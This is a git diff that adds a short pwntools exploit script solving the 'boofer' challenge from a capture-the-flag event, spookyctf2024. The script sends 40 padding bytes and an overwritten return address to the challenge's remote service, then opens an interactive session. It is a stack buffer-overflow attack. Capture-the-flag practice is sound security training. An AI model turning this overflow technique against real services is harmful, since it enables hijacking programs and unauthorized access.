diff --git a/spookyctf2024/boofer/a.py b/spookyctf2024/boofer/a.py new file mode 100644 index 0000000..e70af69 --- /dev/null +++ b/spookyctf2024/boofer/a.py @@ -0,0 +1,17 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./B00fer", checksec=False) +# r = process() +r = remote("b00fer.niccgetsspooky.xyz", 9001) + +# funcs +s = lambda a: r.sendline(a) + +# buf +buf = b"A"*40 +buf += p64(0x401227) +s(buf) + +r.interactive() \ No newline at end of file